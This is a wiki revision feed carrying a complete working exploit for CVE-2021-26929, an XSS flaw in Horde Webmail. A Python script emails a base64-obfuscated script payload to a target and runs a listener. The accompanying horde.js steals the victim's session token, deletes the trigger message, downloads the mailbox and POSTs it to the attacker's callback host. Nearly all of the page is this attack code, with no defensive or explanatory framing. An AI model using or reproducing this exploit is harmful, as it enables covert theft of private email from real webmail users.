<?xml version="1.0"?>
<feed xmlns="http://www.w3.org/2005/Atom" xml:lang="chinese">
	<id>https://pwnwiki.com/index.php?action=history&amp;feed=atom&amp;title=CVE-2021-26929_Webmail_Edition_5.2.22_XSS%26%E9%81%A0%E7%A8%8B%E5%91%BD%E4%BB%A4%E5%9F%B7%E8%A1%8C%E6%BC%8F%E6%B4%9E</id>
	<title>CVE-2021-26929 Webmail Edition 5.2.22 XSS&amp;遠程命令執行漏洞 - Revision history</title>
	<link rel="self" type="application/atom+xml" href="https://pwnwiki.com/index.php?action=history&amp;feed=atom&amp;title=CVE-2021-26929_Webmail_Edition_5.2.22_XSS%26%E9%81%A0%E7%A8%8B%E5%91%BD%E4%BB%A4%E5%9F%B7%E8%A1%8C%E6%BC%8F%E6%B4%9E"/>
	<link rel="alternate" type="text/html" href="https://pwnwiki.com/index.php?title=CVE-2021-26929_Webmail_Edition_5.2.22_XSS%26%E9%81%A0%E7%A8%8B%E5%91%BD%E4%BB%A4%E5%9F%B7%E8%A1%8C%E6%BC%8F%E6%B4%9E&amp;action=history"/>
	<updated>2026-04-13T15:21:43Z</updated>
	<subtitle>Revision history for this page on the wiki</subtitle>
	<generator>MediaWiki 1.35.1</generator>
	<entry>
		<id>https://pwnwiki.com/index.php?title=CVE-2021-26929_Webmail_Edition_5.2.22_XSS%26%E9%81%A0%E7%A8%8B%E5%91%BD%E4%BB%A4%E5%9F%B7%E8%A1%8C%E6%BC%8F%E6%B4%9E&amp;diff=1673&amp;oldid=prev</id>
		<title>Pwnwiki: Created page with &quot;==EXP== &lt;pre&gt; #!/usr/bin/python3 # debug nu11secur1ty 2021 import io import os import ssl import sys import json import base64 import string import random import logging impor...&quot;</title>
		<link rel="alternate" type="text/html" href="https://pwnwiki.com/index.php?title=CVE-2021-26929_Webmail_Edition_5.2.22_XSS%26%E9%81%A0%E7%A8%8B%E5%91%BD%E4%BB%A4%E5%9F%B7%E8%A1%8C%E6%BC%8F%E6%B4%9E&amp;diff=1673&amp;oldid=prev"/>
		<updated>2021-04-15T03:22:43Z</updated>

		<summary type="html">&lt;p&gt;Created page with &amp;quot;==EXP== &amp;lt;pre&amp;gt; #!/usr/bin/python3 # debug nu11secur1ty 2021 import io import os import ssl import sys import json import base64 import string import random import logging impor...&amp;quot;&lt;/p&gt;
&lt;p&gt;&lt;b&gt;New page&lt;/b&gt;&lt;/p&gt;&lt;div&gt;==EXP==&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
#!/usr/bin/python3&lt;br /&gt;
# debug nu11secur1ty 2021&lt;br /&gt;
import io&lt;br /&gt;
import os&lt;br /&gt;
import ssl&lt;br /&gt;
import sys&lt;br /&gt;
import json&lt;br /&gt;
import base64&lt;br /&gt;
import string&lt;br /&gt;
import random&lt;br /&gt;
import logging&lt;br /&gt;
import smtplib&lt;br /&gt;
import sqlite3&lt;br /&gt;
import hashlib&lt;br /&gt;
import zipfile&lt;br /&gt;
import argparse&lt;br /&gt;
from flask import Flask, request, Response&lt;br /&gt;
from urllib.parse import urlparse&lt;br /&gt;
 &lt;br /&gt;
class Exploit:&lt;br /&gt;
    def __init__(self, args):&lt;br /&gt;
        # Database&lt;br /&gt;
        if not os.path.exists('database.db'):&lt;br /&gt;
            with sqlite3.connect(&amp;quot;database.db&amp;quot;) as conn:&lt;br /&gt;
                cursor = conn.cursor()&lt;br /&gt;
                cursor.execute('CREATE TABLE mailbox (hash TEXT NOT NULL&lt;br /&gt;
UNIQUE, content BLOB NOT NULL);')&lt;br /&gt;
                conn.commit()&lt;br /&gt;
        # SMTP URL&lt;br /&gt;
        o = urlparse(args.smtp)&lt;br /&gt;
        self.smtp = {&lt;br /&gt;
            'ssl': o.scheme.lower() == 'smtps',&lt;br /&gt;
            'host': o.hostname or '127.0.0.1',&lt;br /&gt;
            'port': o.port or ('465' if o.scheme.lower() == 'smtps' else&lt;br /&gt;
'25'),&lt;br /&gt;
            'username': '' or o.username,&lt;br /&gt;
            'password': '' or o.password&lt;br /&gt;
        }&lt;br /&gt;
        try:&lt;br /&gt;
            if self.smtp['ssl']:&lt;br /&gt;
                context = ssl.create_default_context()&lt;br /&gt;
                context.verify_mode = ssl.CERT_OPTIONAL&lt;br /&gt;
                context.check_hostname = False&lt;br /&gt;
                self.server = smtplib.SMTP_SSL(self.smtp['host'],&lt;br /&gt;
self.smtp['port'], context=context)&lt;br /&gt;
            else:&lt;br /&gt;
                self.server = smtplib.SMTP(self.smtp['host'],&lt;br /&gt;
self.smtp['port'])&lt;br /&gt;
        except Exception as e:&lt;br /&gt;
            print(e)&lt;br /&gt;
            print('[-] Error connecting to SMTP server!')&lt;br /&gt;
            exit()&lt;br /&gt;
        try:&lt;br /&gt;
            self.server.login(self.smtp['username'], self.smtp['password'])&lt;br /&gt;
        except:&lt;br /&gt;
            pass&lt;br /&gt;
        # Callback URL&lt;br /&gt;
        o = urlparse(args.callback)&lt;br /&gt;
        self.callback = {&lt;br /&gt;
            'url': '{}://{}'.format(o.scheme, o.netloc),&lt;br /&gt;
            'path': ''.join(random.choice(string.ascii_letters) for i in&lt;br /&gt;
range(20))&lt;br /&gt;
        }&lt;br /&gt;
        # Listener URL&lt;br /&gt;
        o = urlparse(args.listener)&lt;br /&gt;
        self.listener = {&lt;br /&gt;
            'ssl': o.scheme.lower() == 'https',&lt;br /&gt;
            'host': o.hostname or '0.0.0.0',&lt;br /&gt;
            'port': o.port or 80,&lt;br /&gt;
            'horde': ''.join(random.choice(string.ascii_letters) for i in&lt;br /&gt;
range(20))&lt;br /&gt;
        }&lt;br /&gt;
        # Target email&lt;br /&gt;
        self.target = args.target&lt;br /&gt;
        # Subject&lt;br /&gt;
        self.subject = args.subject or 'Important Message'&lt;br /&gt;
        # Environment&lt;br /&gt;
        self.env = {}&lt;br /&gt;
        self.env['mailbox'] = args.mailbox or 'INBOX'&lt;br /&gt;
        self.env['callback'] = '{}/{}'.format(self.callback['url'],&lt;br /&gt;
self.callback['path'])&lt;br /&gt;
 &lt;br /&gt;
    def trigger(self):&lt;br /&gt;
        print('[*] Waiting for emails...')&lt;br /&gt;
        self.bypass_auth()&lt;br /&gt;
        print('\n[*] Done')&lt;br /&gt;
 &lt;br /&gt;
    def bypass_auth(self):&lt;br /&gt;
        def horde():&lt;br /&gt;
            f = open('horde.js')&lt;br /&gt;
            content = 'env = {};\n\n{}'.format(json.dumps(self.env),&lt;br /&gt;
f.read())&lt;br /&gt;
            f.close()&lt;br /&gt;
            return content&lt;br /&gt;
 &lt;br /&gt;
        def callback():&lt;br /&gt;
            response = Response('')&lt;br /&gt;
            with sqlite3.connect(&amp;quot;database.db&amp;quot;) as conn:&lt;br /&gt;
                try:&lt;br /&gt;
                    if request.files.get('mbox'):&lt;br /&gt;
                        filename =&lt;br /&gt;
request.files.get('mbox').filename.replace('zip', 'mbox')&lt;br /&gt;
                        content = request.files.get('mbox').stream.read()&lt;br /&gt;
                        zipdata = io.BytesIO()&lt;br /&gt;
                        zipdata.write(content)&lt;br /&gt;
                        content = zipfile.ZipFile(zipdata)&lt;br /&gt;
                        content = content.open(filename).read()&lt;br /&gt;
                        mail_hash =  hashlib.sha1(content).digest().hex()&lt;br /&gt;
                        print('[+] Received mailbox&lt;br /&gt;
({})'.format(mail_hash))&lt;br /&gt;
                        cursor = conn.cursor()&lt;br /&gt;
                        cursor.execute('INSERT INTO mailbox (hash, content)&lt;br /&gt;
VALUES (?, ?)', (mail_hash, content))&lt;br /&gt;
                except:&lt;br /&gt;
                    pass&lt;br /&gt;
            response.headers['Access-Control-Allow-Origin'] = '*'&lt;br /&gt;
            return response&lt;br /&gt;
 &lt;br /&gt;
        payload = 'var&lt;br /&gt;
s=document.createElement(&amp;quot;script&amp;quot;);s.type=&amp;quot;text/javascript&amp;quot;;s.src=&amp;quot;{}/{}&amp;quot;;document.head.append(s);'.format(self.callback['url'],&lt;br /&gt;
self.listener['horde'])&lt;br /&gt;
        payload =&lt;br /&gt;
'&amp;lt;script&amp;gt;eval(atob(&amp;quot;{}&amp;quot;))&amp;lt;/script&amp;gt;'.format(base64.b64encode(payload.encode('latin-1')).decode('latin-1'))&lt;br /&gt;
        content = 'Subject: {}\nFrom: {}\nTo: {}\n'.format(self.subject,&lt;br /&gt;
self.smtp['username'], self.target)&lt;br /&gt;
        # The secret services :)&lt;br /&gt;
        content +=&lt;br /&gt;
'X\x00\x00\x00{}\x00\x00\x00X'.format(base64.b64encode(payload.encode('latin-1')).decode('latin-1'))&lt;br /&gt;
        self.server.sendmail(self.smtp['username'], self.target, content)&lt;br /&gt;
        app = Flask(__name__)&lt;br /&gt;
        app.add_url_rule('/{}'.format(self.listener['horde']), 'horde',&lt;br /&gt;
horde)&lt;br /&gt;
        app.add_url_rule('/{}'.format(self.callback['path']), 'callback',&lt;br /&gt;
callback, methods=['POST'])&lt;br /&gt;
        logging.getLogger('werkzeug').setLevel(logging.ERROR)&lt;br /&gt;
        cli = sys.modules['flask.cli']&lt;br /&gt;
        cli.show_server_banner = lambda *x: None&lt;br /&gt;
        try:&lt;br /&gt;
            if self.listener['ssl']:&lt;br /&gt;
                app.run(host=self.listener['host'],&lt;br /&gt;
port=self.listener['port'], ssl_context=('cert.pem', 'key.pem'))&lt;br /&gt;
            else:&lt;br /&gt;
                app.run(host=self.listener['host'],&lt;br /&gt;
port=self.listener['port'])&lt;br /&gt;
        except:&lt;br /&gt;
            pass&lt;br /&gt;
 &lt;br /&gt;
if __name__ == '__main__':&lt;br /&gt;
    parser = argparse.ArgumentParser()&lt;br /&gt;
    parser.add_argument('--smtp', help='SMTP URL', required=True,&lt;br /&gt;
metavar='URL')&lt;br /&gt;
    parser.add_argument('--callback', help='Callback URL', required=True,&lt;br /&gt;
metavar='URL')&lt;br /&gt;
    parser.add_argument('--listener', help='Listener URL', metavar='URL')&lt;br /&gt;
    parser.add_argument('--target', help='Target email', required=True,&lt;br /&gt;
metavar='EMAIL')&lt;br /&gt;
    parser.add_argument('--subject', help='Email subject',&lt;br /&gt;
metavar='SUBJECT')&lt;br /&gt;
    parser.add_argument('--mailbox', help='Mailbox from which to steal the&lt;br /&gt;
emails', metavar='INBOX')&lt;br /&gt;
    args = parser.parse_args()&lt;br /&gt;
    exploit = Exploit(args)&lt;br /&gt;
    exploit.trigger()&lt;br /&gt;
horde.js&lt;br /&gt;
 &lt;br /&gt;
class Exploit {&lt;br /&gt;
    constructor() {&lt;br /&gt;
        this.basepath = document.location.pathname.substring(0,&lt;br /&gt;
document.location.pathname.indexOf('imp'));&lt;br /&gt;
    }&lt;br /&gt;
 &lt;br /&gt;
    trigger() {&lt;br /&gt;
        this.mailbox = this.get_mailbox();&lt;br /&gt;
        this.buid = this.get_buid();&lt;br /&gt;
        this.token = this.get_token();&lt;br /&gt;
        this.auto_delete()&lt;br /&gt;
        .then(() =&amp;gt; {&lt;br /&gt;
            this.exfiltrate_emails({mailbox: env.mailbox});&lt;br /&gt;
        });&lt;br /&gt;
    }&lt;br /&gt;
 &lt;br /&gt;
    async auto_delete() {&lt;br /&gt;
        let params = new URLSearchParams()&lt;br /&gt;
        params.append('token', this.token);&lt;br /&gt;
        params.append('view', this.mailbox);&lt;br /&gt;
        params.append('buid', this.buid);&lt;br /&gt;
        return fetch(this.basepath +&lt;br /&gt;
'services/ajax.php/imp/deleteMessages', {&lt;br /&gt;
            method: 'POST',&lt;br /&gt;
            body: params&lt;br /&gt;
        })&lt;br /&gt;
        .then(() =&amp;gt; {&lt;br /&gt;
            let params = new URLSearchParams();&lt;br /&gt;
            params.append('token', this.token);&lt;br /&gt;
            params.append('view', this.mailbox);&lt;br /&gt;
            return fetch(this.basepath +&lt;br /&gt;
'services/ajax.php/imp/purgeDeleted', {&lt;br /&gt;
                method: 'POST',&lt;br /&gt;
                body: params&lt;br /&gt;
            })&lt;br /&gt;
            .then(() =&amp;gt; {&lt;br /&gt;
                if (document.getElementById('checkmaillink') !== null) {&lt;br /&gt;
                    document.getElementById('checkmaillink').click();&lt;br /&gt;
                }&lt;br /&gt;
            });&lt;br /&gt;
        });&lt;br /&gt;
    }&lt;br /&gt;
 &lt;br /&gt;
    async exfiltrate_emails(args) {&lt;br /&gt;
        let mbox_list = '[&amp;quot;' + this.get_mailbox() + '&amp;quot;]';&lt;br /&gt;
        if (args.mailbox.toUpperCase() != 'INBOX') {&lt;br /&gt;
            let params = new URLSearchParams();&lt;br /&gt;
            params.append('reload', '1');&lt;br /&gt;
            params.append('unsub', '1');&lt;br /&gt;
            params.append('token', this.token);&lt;br /&gt;
            let mailboxes = await fetch(this.basepath +&lt;br /&gt;
'services/ajax.php/imp/listMailboxes', {&lt;br /&gt;
                method: 'POST',&lt;br /&gt;
                body: params&lt;br /&gt;
            })&lt;br /&gt;
            .then(response =&amp;gt; {&lt;br /&gt;
                return response.text();&lt;br /&gt;
            })&lt;br /&gt;
            .then(data =&amp;gt; {&lt;br /&gt;
                return JSON.parse(data.substring(10, data.length - 2));&lt;br /&gt;
 &lt;br /&gt;
            });&lt;br /&gt;
            mailboxes.tasks['imp:mailbox'].a.forEach(mailbox =&amp;gt; {&lt;br /&gt;
                if (mailbox.l.toUpperCase() == args.mailbox) {&lt;br /&gt;
                    if (mbox_list === undefined) {&lt;br /&gt;
                        mbox_list = '[&amp;quot;' + mailbox.m + '&amp;quot;]';&lt;br /&gt;
                    }&lt;br /&gt;
                }&lt;br /&gt;
            });&lt;br /&gt;
        }&lt;br /&gt;
        let zip = await fetch(this.basepath +&lt;br /&gt;
'services/download/?app=imp&amp;amp;actionID=download_mbox&amp;amp;mbox_list=' + mbox_list&lt;br /&gt;
+ '&amp;amp;type=mboxzip&amp;amp;token=' + this.token + '&amp;amp;fn=/')&lt;br /&gt;
        .then(response =&amp;gt; {&lt;br /&gt;
            return [response.blob(),&lt;br /&gt;
response.headers.get('Content-Disposition')];&lt;br /&gt;
        });&lt;br /&gt;
        let filename = zip[1];&lt;br /&gt;
        filename = filename.substring(filename.indexOf('filename=&amp;quot;') + 10,&lt;br /&gt;
filename.length - 1);&lt;br /&gt;
        zip = await zip[0];&lt;br /&gt;
        let formData = new FormData();&lt;br /&gt;
        formData.append('mbox', zip, filename);&lt;br /&gt;
        fetch(window.env.callback, {&lt;br /&gt;
            method: 'POST',&lt;br /&gt;
            body: formData&lt;br /&gt;
        });&lt;br /&gt;
    }&lt;br /&gt;
 &lt;br /&gt;
    get_token() {&lt;br /&gt;
        let link;&lt;br /&gt;
        let token;&lt;br /&gt;
        if (document.getElementsByClassName('smartmobile-logout').length &amp;gt;&lt;br /&gt;
0) {&lt;br /&gt;
            link =&lt;br /&gt;
document.getElementsByClassName('smartmobile-logout')[0].href;&lt;br /&gt;
        }&lt;br /&gt;
        else if (document.getElementById('horde-logout') !== null) {&lt;br /&gt;
            link =&lt;br /&gt;
document.getElementById('horde-logout').getElementsByTagName('a')[0].href;&lt;br /&gt;
        }&lt;br /&gt;
        else {&lt;br /&gt;
            link = location.href;&lt;br /&gt;
        }&lt;br /&gt;
        if (link.match('horde_logout_token=(.*)&amp;amp;') !== null) {&lt;br /&gt;
            token = link.match('horde_logout_token=(.*)&amp;amp;')[1];&lt;br /&gt;
        }&lt;br /&gt;
        if (token === undefined &amp;amp;&amp;amp; link.match('token=(.*)&amp;amp;') !== null) {&lt;br /&gt;
            token = link.match('token=(.*)&amp;amp;')[1];&lt;br /&gt;
        }&lt;br /&gt;
        return token;&lt;br /&gt;
    }&lt;br /&gt;
 &lt;br /&gt;
    get_mailbox() {&lt;br /&gt;
        if (window.DimpBase !== undefined) {&lt;br /&gt;
            return&lt;br /&gt;
DimpBase.viewport.getSelection(DimpBase.pp.VP_view).search({&lt;br /&gt;
                VP_id: {&lt;br /&gt;
                    equal: [ DimpBase.pp.VP_id ]&lt;br /&gt;
                }&lt;br /&gt;
            }).get('dataob').first().VP_view;&lt;br /&gt;
        }&lt;br /&gt;
        else if (location.href.match('mailbox=([A-Za-z0-9]*)') !== null) {&lt;br /&gt;
            return location.href.match('mailbox=([A-Za-z0-9]*)')[1];&lt;br /&gt;
        }&lt;br /&gt;
        else if (location.href.match('mbox=([A-Za-z0-9]*)') !== null) {&lt;br /&gt;
            return location.href.match('mbox=([A-Za-z0-9]*)')[1];&lt;br /&gt;
        }&lt;br /&gt;
    }&lt;br /&gt;
 &lt;br /&gt;
    get_buid() {&lt;br /&gt;
        if (location.href.match('buid=([0-9]*)') !== null) {&lt;br /&gt;
            return location.href.match('buid=([0-9]*)')[1];&lt;br /&gt;
        }&lt;br /&gt;
        else if (location.href.match(';([0-9]*)') !== null) {&lt;br /&gt;
            return location.href.match(';([0-9]*)')[1];&lt;br /&gt;
        }&lt;br /&gt;
    }&lt;br /&gt;
}&lt;br /&gt;
 &lt;br /&gt;
const exploit = new Exploit();&lt;br /&gt;
exploit.trigger();&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;/div&gt;</summary>
		<author><name>Pwnwiki</name></author>
	</entry>
</feed>